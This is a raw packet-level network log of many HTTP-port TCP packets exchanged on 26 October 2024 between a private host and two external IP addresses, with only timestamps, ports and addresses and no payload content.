Oct 26, 2024 05:54:49.590055943 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.590073109 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.590090990 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.590123892 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.590133905 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.590181112 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.590225935 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.590233088 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.590266943 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.590301991 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.590316057 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.590392113 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.590423107 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.590444088 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.590456963 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.590501070 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.590542078 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.590575933 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.590594053 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.590635061 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.590770960 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.590831041 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.619496107 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:49.619585037 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:49.631455898 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.631494045 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.631529093 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.631550074 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.642118931 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:49.642203093 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:49.647640944 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:49.647670984 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:49.647805929 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:49.647834063 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:49.647891045 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:49.647939920 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:49.648003101 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:49.648051023 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:49.672415018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.672450066 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.672466040 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.672486067 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.672533035 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.718003035 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.718070984 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.718101978 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.718112946 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.750726938 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.750762939 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.750788927 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.750813007 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.750844002 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.750863075 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.750880957 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.750920057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.750921965 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.750953913 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.750998020 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.751146078 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.751180887 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.751218081 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.751225948 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.751255035 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.751283884 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.751297951 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.751358032 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.751388073 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.751415014 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.751441956 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.751471043 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.751483917 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.751538038 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.751565933 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.751580954 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.751640081 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.751667976 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.751682043 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.751732111 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.751773119 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.751782894 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.751816988 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.751861095 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.751965046 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.793025970 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.793070078 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.793077946 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.793107033 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.793143988 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.793150902 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.832411051 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.832457066 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.832463980 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.832494974 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.832531929 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.832695961 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.879525900 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.879611015 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.879615068 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.879647017 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.879801035 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.912092924 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.912132025 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.912169933 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.912193060 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.912203074 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.912240028 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.912267923 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.912365913 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.912365913 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.913006067 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.913053989 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.913098097 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.913104057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.913134098 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.913167000 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.913172960 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.913203955 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.913239956 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.913239956 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.913269043 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.913311005 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.913361073 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.913465977 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.913499117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.913539886 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.913605928 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.913652897 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.913657904 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.913691998 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.913733959 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.913741112 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.954546928 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.954730988 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.954853058 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.954881907 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.954927921 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.993990898 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.994021893 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.994044065 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.994060993 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.994215012 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.994215012 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.040631056 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.040688038 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.040716887 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.040752888 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.073580980 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.073757887 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.073790073 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.073792934 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.073827028 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.073836088 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.073862076 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.073894978 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.073905945 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.074191093 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.074242115 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.074284077 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.074315071 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.074357033 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.074372053 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.074404955 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.074445963 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.074457884 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.074561119 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.074603081 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.074613094 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.074640036 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.074683905 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.074740887 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.074876070 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.074914932 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.074928045 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.074961901 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.074995041 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.075006008 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.116508961 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.116561890 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.116573095 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.116600990 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.116733074 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.155296087 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.155405998 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.155437946 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.155488968 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.202505112 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.202558041 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.202594042 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.202599049 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.202651024 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.235340118 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.235389948 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.235435009 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.235443115 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.235471010 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.235506058 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.235516071 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.235572100 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.235603094 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.235614061 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.235641003 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.235671043 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.235685110 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.235726118 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.235759974 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.235770941 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.235795021 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.235833883 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.235953093 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.236035109 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.236085892 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.236088037 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.236118078 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.236159086 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.236260891 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.236294031 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.236327887 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.236336946 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.236361980 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.236396074 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.277617931 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.277668953 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.277708054 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.277749062 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.316708088 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.316754103 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.316770077 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.316796064 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.316834927 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.316839933 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.363897085 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.363948107 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.363966942 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.363986969 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.364029884 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.396354914 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.396387100 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.396425009 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.396429062 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.396459103 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.396492958 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.396498919 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.396527052 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.396563053 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.396826982 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.396895885 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.396924973 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.396948099 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.396980047 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.397013903 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.397023916 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.397047997 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.397087097 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.397110939 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.397160053 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.397197008 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.397200108 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.397283077 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.397311926 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.397341013 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.397455931 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.397509098 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.397512913 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.397543907 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.397584915 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.397610903 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.439307928 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.439357042 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.439388990 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.439389944 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.439433098 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.446229935 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:50.446397066 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:50.477768898 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.477869034 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.477897882 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.477916002 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.521008015 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.525409937 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.525444031 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.525477886 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.525487900 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.557409048 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.557440996 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.557472944 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.557492971 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.557527065 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.557538033 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.557562113 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.557595015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.557605028 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.558362961 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.558412075 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.558413982 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.558449984 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.558482885 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.558494091 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.558516979 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.558564901 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.558567047 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.558602095 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.558634996 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.558641911 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.558670998 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.558712006 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.558809996 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.558906078 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.558939934 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.558949947 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.558974981 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.559015036 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.600050926 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.600210905 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.600239992 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.600261927 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.639038086 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.639095068 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.639098883 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.639123917 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.639167070 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.686645985 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.686676979 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.686716080 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.686732054 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.686749935 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.686794043 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:50.690732002 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:50.696098089 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:50.718789101 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.718909979 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.718940973 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.718975067 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:50.719008923 CEST	80	49742	185.215.113.16	192.168.2.4
